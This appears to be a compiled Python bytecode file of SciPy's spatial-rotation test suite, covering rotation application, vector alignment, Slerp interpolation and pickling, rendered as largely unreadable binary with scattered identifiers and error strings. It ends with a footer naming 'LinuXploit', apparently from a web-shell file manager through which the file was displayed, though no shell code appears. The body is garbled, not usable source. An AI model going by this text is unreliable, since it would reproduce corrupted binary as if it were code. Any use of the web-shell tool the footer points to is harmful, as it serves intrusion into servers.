G���2�#%�6�2��7�R�<�*@�*@�*B�*B�1�*E�#F�#F���1�a�� � �
G�	G��j���W�a��3�3�g�m�A�6F��5K�L�L�G��i��
�7�S��V�V�R�L�9�9��B�B�B�G���Q���'�O���Q���'����(�-�-�/�/�/�/�/��*�*�/�/�1�1�1�1�1��o�&��*�Q�/?�-@�@�M��;�;�=�=�=�(�
3�
3�
5�
5�C��c�2�8�C��F�F�#3�#3�4�4�4�4�4rc��tjgd�gd�gd�g��}tj|��}tjtj|d�����}tjgd���}tj|d���}tjgd���}tj|d���}t|�|��|��t|�|��|��t|�|��|��t|�|��|��tjgd���}tj|d���}t|�|d	�
��|��t|�|d	�
��|��t|�|d	�
��|��t|�|d	�
��|��dS)NrBrCrDrr�r*�rTr%r�r+r'rT��inverse�rrrrZ�expand_dimsr�apply)	r=�r_1d�r_2d�v_1d�v_2d�v1d_rotated�v2d_rotated�v1d_inverse�v2d_inverses	         r�'test_apply_single_rotation_single_pointr�`s���
�(��
�
��	�	��	�	����C�
���$�$�D�����s�� ;� ;� ;�<�<�D�
�8�I�I�I���D�
�>�$�Q�'�'�'�D��(�:�:�:�&�&�K��.��1�5�5�5�K��D�J�J�t�$�$�k�2�2�2��D�J�J�t�$�$�k�2�2�2��D�J�J�t�$�$�k�2�2�2��D�J�J�t�$�$�k�2�2�2��(�:�:�:�&�&�K��.��1�5�5�5�K��D�J�J�t�T�J�2�2�K�@�@�@��D�J�J�t�T�J�2�2�K�@�@�@��D�J�J�t�T�J�2�2�K�@�@�@��D�J�J�t�T�J�2�2�K�@�@�@�@�@rc�t�tjgd�gd�gd�g��}tj|��}tjtj|d�����}tjgd�gd�g��}tjgd�gd	�g��}t|�|��|��t|�|��|��tjgd
�gd�g��}t|�|d�
��|��t|�|d�
��|��dS)NrBrCrDrr�r*�r
rr3r�)���r
r3r�)r���r3Tr�r�)r=�r1�r2�v�	v_rotated�	v_inverses      r�*test_apply_single_rotation_multiple_pointsr�|s,��
�(��
�
��	�	��	�	����C�

�	�c�	"�	"�B�	�	�b�n�S�q�9�9�9�	:�	:�B�
��)�)�)�Y�Y�Y�'�(�(�A���*�*�*�j�j�j�1�2�2�I��B�H�H�Q�K�K��+�+�+��B�H�H�Q�K�K��+�+�+���*�*�*�j�j�j�1�2�2�I��B�H�H�Q��H�-�-�y�9�9�9��B�H�H�Q��H�-�-�y�9�9�9�9�9rc��tjd��}tjgd�gd�gd�g��|d<tjgd�gd�gd�g��|d<tj|��}tjgd	���}tj|d�
��}tjgd�gd�g��}t
|�|��|��t
|�|��|��tjgd
�gd�g��}t
|�|d���|��t
|�|d���|��dS)N�r+rrrBrCrDrrrKr%r*r�r�)r%r�r+r�)r%rrTTr�)rr4rrrZr�rr�)r=r�v1�v2r�r�s      r�*test_apply_multiple_rotations_single_pointr��s\��
�(�9�
�
�C�
�X��
�
��	�	��	�	����C��F�
�X��	�	��
�
��	�	����C��F�
	��S�!�!�A�	��)�)�)�	�	�B�	����	#�	#�	#�B���*�*�*�j�j�j�1�2�2�I��A�G�G�B�K�K��+�+�+��A�G�G�B�K�K��+�+�+���*�*�*�j�j�j�1�2�2�I��A�G�G�B��G�-�-�y�9�9�9��A�G�G�B��G�-�-�y�9�9�9�9�9rc��tjd��}tjgd�gd�gd�g��|d<tjgd�gd�gd�g��|d<tj|��}tjgd	�gd
�g��}tjgd�gd�g��}t|�|��|��tjgd
�gd�g��}t|�|d���|��dS)Nr�rBrCrDrrrKr%r*r�r�)r
i����rr�)r
r3r�Tr�)rr4rrrZrr�)r=rr�r�r�s     r�-test_apply_multiple_rotations_multiple_pointsr��s��
�(�9�
�
�C�
�X��
�
��	�	��	�	����C��F�
�X��	�	��
�
��	�	����C��F�
	��S�!�!�A�
��)�)�)�Y�Y�Y�'�(�(�A���*�*�*�j�j�j�1�2�2�I��A�G�G�A�J�J�	�*�*�*���*�*�*�j�j�j�1�2�2�I��A�G�G�A�t�G�,�,�i�8�8�8�8�8rc�"�tjd��}tjgd�gd�gd�g��|d<tjgd�gd�gd�g��|d<tj|��}t|d���|dd	�
��t|d���|dd	�
��t|dd����tj|dd���d	�
��dS)
Nr�rBrCrDrrrKr%�V瞯�<ryr'r�)rr4rrrZrr:r��r=rs  r�test_getitemr��s��
�(�9�
�
�C�
�X��
�
��	�	��	�	����C��F�
�X��	�	��
�
��	�	����C��F�
	��S�!�!�A��A�a�D�N�N�$�$�c�!�f�5�9�9�9�9��A�a�D�N�N�$�$�c�!�f�5�9�9�9�9��A�c�r�c�F�$�$�&�&���s�1�v�A�(F�(F�(F�U�S�S�S�S�S�Src��tjtd���5tj��dddd��dS#1swxYwYdS�Nznot subscriptabler�r)r-r.�	TypeErrorrrgr0rr�test_getitem_singler��s���	��y�(;�	<�	<�	<�������A�����������������������s�A�A�
Ac��tj��}tjtd���5tj��|d<ddd��dS#1swxYwYdSr�)rrgr-r.r�r�s r�test_setitem_singler��s�������A�	��y�(;�	<�	<�	<�#�#�� �"�"��!��#�#�#�#�#�#�#�#�#�#�#�#����#�#�#�#�#�#s�A�A�Ac�$�tj�d���}tjd|���}tjd|���}||dd�<t	|dd����|�����dS)Nr��seedrir_rr%r3�rrrrsrrr�r�r�r�s   r�test_setitem_slicer��s��
�)�
�
�Q�
�
'�
'�C�	���#�	.�	.�	.�B�	����	-�	-�	-�B��B�q��s�G���A�a�C����"�"�B�J�J�L�L�1�1�1�1�1rc��tj�d���}tjd|���}tj|���}||d<t	|d���|�����dS)Nrr�rir_r%r�r�s   r�test_setitem_integerr��ss��
�)�
�
�Q�
�
'�
'�C�	���#�	.�	.�	.�B�	��c�	*�	*�	*�B��B�q�E���A������"�*�*�,�,�/�/�/�/�/rc��tjdd���}tjtd���5d|d<ddd��dS#1swxYwYdS)Nrirr_zRotation objectr�r%)rrrr-r.r�r�s r�test_setitem_wrong_typer��s�������+�+�+�A�	��y�(9�	:�	:�	:�����!����������������������s�A�A	�A	c�Z�tjd��}tjgd�gd�gd�g��|d<tjgd�gd�gd�g��|d<tj|��}tt
|��d	��tt
|dd
���d��dS)Nr�rBrCrDrrrKr%r+r')rr4rrrZrr�r�s  r�test_n_rotationsr��s���
�(�9�
�
�C�
�X��
�
��	�	��	�	����C��F�
�X��	�	��
�
��	�	����C��F�
	��S�!�!�A���Q���������Q�s��s�V���a� � � � � rc��tjgd�gd�g��}|���}tj||��\}}t|���tjd����t|dd���dS)Nr*r�rr���ư>ry)	rr�copyr�
align_vectorsrr:r;r)rrr�rmsds    r�test_align_vectors_no_rotationr�	s|��
��)�)�)�Y�Y�Y�'�(�(�A�	�����A��$�Q��*�*�G�A�t��a�k�k�m�m�R�V�A�Y�Y�7�7�7��D�!�$�'�'�'�'�'�'rc��tj�d��}tj|���}|�d���}|�|��}tj||��\}}t|���|�����t|dd���dS)Nrr_�rr�rj�H�����z>ry)	rrrrsr�normalr�r�rr)ry�crr�estr�s      r�test_align_vectors_no_noiser�s���
�)�
�
��
"�
"�C���S�)�)�)�A��
�
��
���A�	����
�
�A��&�q�!�,�,�I�C���A�I�I�K�K������/�/�/��D�!�$�'�'�'�'�'�'rc��tjgd�gd�g��}tjgd�gd�g��}tj||��\}}t	||�|��d���t	|dd���dS)	N)g�q��?g�H*�fܿg�Hl��B�?)gM��s^E�?g+Ob�p޿g�n^w��)g�=�2)p�?g[�[V�K�g�?gw�7�?)g���ѿg��G�v�gp����r�ryrr�)rrrr�rr�)rrr�r�s    r�$test_align_vectors_improper_rotationr�s���
��6�6�6�7�7�7�9�	:�	:�A�
��6�6�6�8�8�8�:�	;�	;�A��&�q�!�,�,�I�C���A�s�y�y��|�|�$�/�/�/�/��D�!�$�'�'�'�'�'�'rc�P�tj�d��}tj|���}|�d���}|�|��}tj||tjd��d��\}}}tj||dtjd��zd��\}}}	t|�	��|�	����ttj
d��|z|��t||	��dS)Nrr_r�r�rTr+)rrrrsrr�r�r�r�rr:rf)
r�r�rr�est1�rmsd1�cov1�est2�rmsd2�cov2s
          r�!test_align_vectors_scaled_weightsr�)s���
�)�
�
��
"�
"�C���S�)�)�)�A��
�
��
���A�	����
�
�A� �.�q�!�R�W�Q�Z�Z��F�F��D�%�� �.�q�!�Q������^�T�J�J��D�%���D�N�N�$�$�d�n�n�&6�&6�7�7�7��B�G�A�J�J��&��.�.�.��D�$�����rc	��tj�d��}d}tj|���}|�|df���}|�|��}tjd��}d|z}tj|�|df|�����}|�|��}tj||d	�
��\}	}
}||	�	��z�
��}t|dd|���t|dd|���t|dd|���||z}t|d
d|���t|dd|���t|dd|���t|
tj||	�|��z
dz��dz��dS)Nrror_rr�r%��?)rj�scaleT)�return_sensitivityryr+�rr)r%r%)r+r+rY)
rrrrsrr�r�r�r�r�rVr�r�sum)
ry�	n_vectorsr��vectorsr��sigma�	tolerance�noise�noisy_resultr�r��cov�error_vectors
             r�test_align_vectors_noiser
7s���
�)�
�
��
"�
"�C��I�
�/�s�
+�
+�
+�C��j�j�y�!�n�j�-�-�G�
�Y�Y�w�
�
�F�
�J�q�M�M�E��e��I�� ��
�
��Q���	�	
�	
�
�
�E��;�;�v�&�&�L��+�L�'�?C�E�E�E�N�C��s��#�'�'�)�)�O�.�.�0�0�L��L��O�Q�Y�7�7�7�7��L��O�Q�Y�7�7�7�7��L��O�Q�Y�7�7�7�7��5�L�C��C��I�q�y�1�1�1�1��C��I�q�y�1�1�1�1��C��I�q�y�1�1�1�1��D�"�&�,����7�1C�1C�"C�a�!G�H�H�#�M�N�N�N�N�Nrc�$�tj���d��rd}nd}tjt
d���5t
jgd�ggd�g��\}}t|d|�	��ddd��dS#1swxYwYdS)
N�i686g+i�)+`>缉ؗ�Ҝ<zOptimal rotation is notr�)r%r'r%)r%r%r'rry)	�platform�machine�
startswithr-rIrJrr�r)�eps�
r_estimater�s   r� test_align_vectors_single_vectorr^s�������$�$�V�,�,�������	��k�)B�	C�	C�	C�+�+�#�1�:�:�:�,�����M�M��
�D���a�c�*�*�*�*�+�+�+�+�+�+�+�+�+�+�+�+����+�+�+�+�+�+s�1B�B	�B	c���tjtd���5tjgd�gd�g��ddd��n#1swxYwYtjtd���5tjgd�ggd���ddd��n#1swxYwYtjtd���5tjgd�gd�ggd�g��ddd��n#1swxYwYtjtd���5tjgd�ggd�gdgg�	��ddd��n#1swxYwYtjtd
���5tjgd�ggd�gddg�	��ddd��n#1swxYwYtjtd���5tjgd�ggd�gd
g�	��ddd��dS#1swxYwYdS)Nz Expected input `a` to have shaper�r*z Expected input `b` to have shapez/Expected inputs `a` and `b` to have same shapesr�z&Expected `weights` to be 1 dimensionalr%r�z+Expected `weights` to have number of valuesr+z)`weights` may not contain negative valuesr')r-r.r/rr�r0rr� test_align_vectors_invalid_inputris���	��z�)K�	L�	L�	L�7�7���y�y�y�9�9�9�+�6�6�6�7�7�7�7�7�7�7�7�7�7�7����7�7�7�7�
��z�)K�	L�	L�	L�7�7���	�	�	�{�I�I�I�6�6�6�7�7�7�7�7�7�7�7�7�7�7����7�7�7�7�
��z�*?�
@�
@�
@�C�C���	�	�	�)�)�)�4�y�y�y�k�B�B�B�C�C�C�C�C�C�C�C�C�C�C����C�C�C�C�
��z�E�
G�
G�
G�H�H���	�	�	�{�Y�Y�Y�K�1�#��G�G�G�G�H�H�H�H�H�H�H�H�H�H�H����H�H�H�H�
��z�J�
L�
L�
L�I�I���	�	�	�{�Y�Y�Y�K�!�Q��H�H�H�H�I�I�I�I�I�I�I�I�I�I�I����I�I�I�I�
��z�H�
J�
J�
J�G�G���	�	�	�{�Y�Y�Y�K�"��F�F�F�F�G�G�G�G�G�G�G�G�G�G�G�G����G�G�G�G�G�Gsk�A�A�
A�)B�B�B�6C!�!C%�(C%� D3�3D7�:D7� F�F	�F	�+G�G�Gc��tj�d��}tt	j|������jd��tt	jd|������jd��tt	jd|������jd��tt	jd|������jd��dS)Nrr_)r
r%r^r�rr
)rrrrsrrrrF)rys r�test_random_rotation_shaper�s���
�)�
�
��
"�
"�C����c�2�2�2�:�:�<�<�B�D�I�I�I�����C�8�8�8�@�@�B�B�H�$�O�O�O������5�5�5�=�=�?�?�E�v�N�N�N������5�5�5�=�=�?�?�E�v�N�N�N�N�Nrc���tj�d��}tj|�d�����}|���}gd�}t||��}gd�}||��}|���}||dd�dfdkxxdzcc<||dd�dfdkxxdzcc<t|d|d��t|d|d��t|d	|d
��t|d|d��t|d|d
��tj	|d|d
z��}tj	|d
|dz��}	t||	��tj	|d|d
z��}
tj	|d
|d	z��}t|
|��tj	|d|dz��}t|d
|d
zzdz
��tt|��t|����dS)Nrrr�)rr%r+rr
)rrYr'r%rr+g@rg
@g������@r
r'rr%rr+r4rir
)rrrrsrrr5rrrrrr�)
ry�key_rots�	key_quats�	key_times�interpolator�times�interp_rots�interp_quats�
cos_theta1�
cos_theta2�
cos_theta4�
cos_theta5�
cos_theta3s
             r�
test_slerpr)�sV��
�)�
�
��
"�
"�C��!�#�+�+�6�+�":�":�;�;�H�� � �"�"�I����I���H�-�-�L�=�=�=�E��,�u�%�%�K��&�&�(�(�L���a�a�a��e�$�q�(�)�)�)�R�/�)�)�)�
�i����2����"�#�#�#�r�)�#�#�#��L��O�Y�q�\�2�2�2��L��O�Y�q�\�2�2�2��L��O�Y�q�\�2�2�2��L��O�Y�q�\�2�2�2��L��$�i��l�3�3�3����Q��,�q�/�9�:�:�J����Q��,�q�/�9�:�:�J��J�
�+�+�+����Q��,�q�/�9�:�:�J����Q��,�q�/�9�:�:�J��J�
�+�+�+����Q��,�q�/�9�:�:�J��J��Z��]� 3�a� 7�8�8�8���[�!�!�3�u�:�:�.�.�.�.�.rc��tjtd���5tjgd���}tdg|��ddd��dS#1swxYwYdS)Nzmust be a sequence of rotationsr�rRr%)r-r.r/rrrr�s r�test_slerp_single_rotr+�s���	��z�)J�	K�	K�	K�����|�|�|�,�,��
�q�c�1�
�
�
���������������������s�(A�A�Ac�L�tjtd���5tj�d��}t
j|�d�����}tj	dgdgg��}t||��ddd��dS#1swxYwYdS)Nz.times to be specified in a 1 dimensional arrayr�r)r+r
r�r%r+)r-r.r/rrrrsrrr5rr�ryrr�s   r�test_slerp_time_dim_mismatchr.�s���	��z�M�
O�
O�
O����i�#�#�A�&�&����s�{�{��{�7�7�8�8���H�q�c��c��
�
��
�a�����
��������������������s�A0B�B� Bc�D�tjtd���5tj�d��}t
j|�d�����}tj	d��}t||��ddd��dS#1swxYwYdS)Nz7number of rotations to be equal to number of timestampsr�rrr�r4)r-r.r/rrrrsrrr5�arangerr-s   r�!test_slerp_num_rotations_mismatchr1�s���	��z�*@�
A�
A�
A����i�#�#�A�&�&����s�{�{��{�7�7�8�8���I�a�L�L��
�a�������������������������s�A,B�B�Bc�$�tjtd���5tj�d��}t
j|�d�����}gd�}t||��ddd��dS#1swxYwYdS)N�strictly increasing orderr�rrr�)rr%r+r+r
�
r-r.r/rrrrsrrr5rr-s   r�test_slerp_equal_timesr5�����	��z�)D�	E�	E�	E����i�#�#�A�&�&����s�{�{��{�7�7�8�8���O�O��
�a�����	����������������������AB�B	�B	c�$�tjtd���5tj�d��}t
j|�d�����}gd�}t||��ddd��dS#1swxYwYdS)Nr3r�rrr�)rr%rr+r
r4r-s   r�test_slerp_decreasing_timesr9�r6r7c��tj�d��}tj|�d�����}tjd��}t||��}tj	td���5tjdgdgg��}||��ddd��dS#1swxYwYdS)	Nrrr�rz&`times` must be at most 1-dimensional.r�g@g������@)rrrrsrrr5r0rr-r.r/r)ryrr��s�interp_timess     r�!test_slerp_call_time_dim_mismatchr=�s���
�)�
�
��
"�
"�C���3�;�;�F�;�3�3�4�4�A�
�	�!���A�
�a����A�	��z�E�
G�
G�
G����x�#��"%��!(�)�)��	��,����	��������������������s�$B8�8B<�?B<c���tj�d��}tj|�d�����}tjd��dz}t||��}tj	td���5|gd���ddd��n#1swxYwYtj	td���5|gd	���ddd��dS#1swxYwYdS)
Nrrr�rr%ztimes must be within the ranger�)rr%r+)r%r+r3)rrrrsrrr5r0rr-r.r/)ryrr�r;s    r�!test_slerp_call_time_out_of_ranger?�s[��
�)�
�
��
"�
"�C���3�;�;�F�;�3�3�4�4�A�
�	�!���q��A�
�a����A�	��z�)I�	J�	J�	J���	��)�)�)����������������������	��z�)I�	J�	J�	J���	��)�)�)������������������������s$�
B$�$B(�+B(�
C%�%C)�,C)c��tjdddgd���}tddg|��}|d��}tjddd���}||���z}t	|���dd	�
��dS)N�Xr�PTr�r%r'rErry)rr�rrVrrh)rr;�r_interpolated�r_interpolated_expected�deltas     r�test_slerp_call_scalar_timerF�s�����C�!�R��$�7�7�7�A�
�q�!�f�a���A��Q�t�W�W�N�&�1�#�r�4�H�H�H���4�8�8�:�:�:�E��E�O�O�%�%�q�u�5�5�5�5�5�5rc��tjdd���}tjdd���}|D]K}|||zz}ttj�|���d���d���LdS)N�2rr_i�r%r�)rrrrrr�r�r)�qs�rsrXs   r�test_multiplication_stabilityrKs���	���!�	,�	,�	,�B�	���A�	.�	.�	.�B�
�A�A��
�a�"�f�����	���r�z�z�|�|�!��<�<�a�@�@�@�@�A�Arc���tjd���}tjdd���}tj|��}t	|jd��tj|��}t	|jd��t
|d���|d�����t
|d���|d�����tj|g��}t	|jd��t	|d|��tj|g��}t	|jd��t
|d	���|d�����t
|d
���|d�����tj||gt���}t	|jd��t	|d|��t	|d|��tj|||g��}t	|jd��dS)
Nrr_r+r%r0)r+)r%)r%r+r)rr%)�dtype)rr+)	rrrrrrrFrr:�object)�single�multiplers   r� test_rotation_within_numpy_arrayrQs��
�_�!�
,�
,�
,�F���q�q�1�1�1�H��H�V���E����b�!�!�!��H�X���E����d�#�#�#��E�!�H�&�&�(�(�(�1�+�*?�*?�*A�*A�B�B�B��E�!�H�&�&�(�(�(�1�+�*?�*?�*A�*A�B�B�B��H�f�X���E����d�#�#�#���q��6�"�"�"��H�h�Z� � �E����f�%�%�%��E�$�K�)�)�+�+�X�a�[�-B�-B�-D�-D�E�E�E��E�$�K�)�)�+�+�X�a�[�-B�-B�-D�-D�E�E�E��H�f�h�'�v�6�6�6�E����d�#�#�#���q��6�"�"�"���q��8�$�$�$��H�h��(�3�4�4�E����f�%�%�%�%�%rc	�n�tjddtjtjdz��tjtjdz��g��}t
j|��}t
j|��}t|�
��|�
��d���dS�Nrr
r�ry)rrr�sinr�r��pickle�dumps�loadsrr:)r�pkl�	unpickleds   r�
test_picklingrZ*s�����A�q�"�&���q��/�/�2�6�"�%��'�?�?�C�D�D�A�
�,�q�/�/�C���S�!�!�I��A�K�K�M�M�9�#6�#6�#8�#8�u�E�E�E�E�E�Erc	�F�tjddtjtjdz��tjtjdz��g��}t
j|��}t|�	��|�	��d���dSrS)
rrrrTr�r�r��deepcopyrr:)rr�s  r�
test_deepcopyr]1sq����A�q�"�&���q��/�/�2�6�"�%��'�?�?�C�D�D�A�	
��q�	�	�B��A�K�K�M�M�2�<�<�>�>��>�>�>�>�>�>rc�J�tjgd���}|�d��}|�d��}|jddusJ�|jddusJ�t	d�|jD����sJ�t	d�|jD����sJ�dS)Nr$r��XYZ�C_CONTIGUOUSTc3�"K�|]
}|dkV��dS�rNr0��.0r}s  r�	<genexpr>z+test_as_euler_contiguous.<locals>.<genexpr>=�&����*�*�!�q�A�v�*�*�*�*�*�*rc3�"K�|]
}|dkV��dSrbr0rcs  rrez+test_as_euler_contiguous.<locals>.<genexpr>>rfr)rrr7�flagsr��strides)r�e1�e2s   r�test_as_euler_contiguousrl7s�����<�<�<�(�(�A�	
���E�	�	�B�	
���E�	�	�B�
�8�N�#�t�+�+�+�+�
�8�N�#�t�+�+�+�+��*�*�r�z�*�*�*�*�*�*�*�*��*�*�r�z�*�*�*�*�*�*�*�*�*�*rc�N��tjdd����gd�}dgttj|����z}�fd�t||��D��}tj|��}t����|�����dS)Nrirr_)r%r+rr%rc�0��g|]\}}�|||z���Sr0r0)rdr}r9rKs   �r�
<listcomp>z$test_concatenate.<locals>.<listcomp>Es*���>�>�>�4�1�a�X�a��A��g�
�>�>�>r)	rrr�listr�cumsum�zipr{rr)�sizes�starts�splitr�rKs    @r�test_concatenatervAs������r��2�2�2�H��O�O�E��S�4��	�%�(�(�)�)�
)�F�>�>�>�>�3�v�u�+=�+=�>�>�>�E�
�
!�%�
(�
(�F���!�!�#�#�V�^�^�%5�%5�6�6�6�6�6rc��tjtd���5tjtj��ddg��ddd��dS#1swxYwYdS)NzRotation objects onlyr�r%)r-r.r�rr{rgr0rr�test_concatenate_wrong_typerxJs���	��y�(?�	@�	@�	@�=�=���h�/�1�1�1�d�;�<�<�<�=�=�=�=�=�=�=�=�=�=�=�=����=�=�=�=�=�=s�)A�A�Ac���ttjd����}tgd�g��}tgd�gd�g��}tgd���}t|��dksJ�t|��dksJ�t|��dksJ�t	jtd���5t|��ddd��n#1swxYwY|sJ�|sJ�|sJ�|sJ�dS)N)rr
r$rr%r+zSingle rotation has no len().r�)rrr4r�r-r.r�)�rotation_multi_empty�rotation_multi_one�rotation_multi�rotation_singles    r�test_len_and_boolr~PsW��#�B�H�V�$4�$4�5�5��!�<�<�<�.�1�1���|�|�|�\�\�\�:�;�;�N��|�|�|�,�,�O��#�$�$��)�)�)�)��!�"�"�a�'�'�'�'��~���!�#�#�#�#�	��y�(G�	H�	H�	H����O���������������������� �����������������s�4C�C�C)ur-r�numpyr�
numpy.testingrrr�scipy.spatial.transformrr�scipy.statsr�	itertoolsr	rUr�rrr!r(r1r6r8r>rHrPrVr\r`rgrmr~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrr(r.r1r<rArOrRr]rerirkrprrrtrvr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r
rrrr)r+r.r1r5r9r=r?rFrKrQrZr]rlrvrxr~r0rr�<module>r�s���
�
�
�
���������A�A�A�A�A�A�A�A�)�)�)�)�)�)�3�3�3�3�3�3�3�3�+�+�+�+�+�+�"�"�"�"�"�"�
�
�
�
�����:�:�:�:�:�:�:�:�:�
:�
:�
:�0�0�0�
������.�.�.�	4�	4�	4�1�1�1�81�1�1�>	�	�	�	�	�	�+�+�+�J�J�J�
2�2�2�?�?�?�?�?�?�
�
�
� 2�2�2�2	"�	"�	"�%�%�%�
���E�E�E�4�4�4�4�4�4�*�*�*�`�`�`�?�?�?�?�?�?�	O�	O�	O�"�"�"�
���O�O�O�l�l�l�.�.�.�.�.�.�J�J�J�)�)�)�*�*�*����1�1�1����6���6���6���6P�P�P�"H�H�H�,"C�"C�"C�J&G�&G�&G�R.�.�.�$.�.�.�<?�?�?�6�6�6�
?�?�?�?�?�?�@�@�@� � � �=�=�=�
C�
C�
C�$�$�$�(�(�(�
���5�5�5�4A�A�A�8:�:�:�*:�:�:�89�9�9�,T�T�T�&���
#�#�#�2�2�2�0�0�0����!�!�!�$(�(�(�(�(�(�	(�	(�	(� � � �$O�$O�$O�N+�+�+�G�G�G�0O�O�O�)/�)/�)/�X���������������
�
�
�	�	�	�	6�	6�	6�A�A�A�&�&�&�<F�F�F�?�?�?�+�+�+�7�7�7�=�=�=�����r

Youez - 2016 - github.com/yon3zu
LinuXploit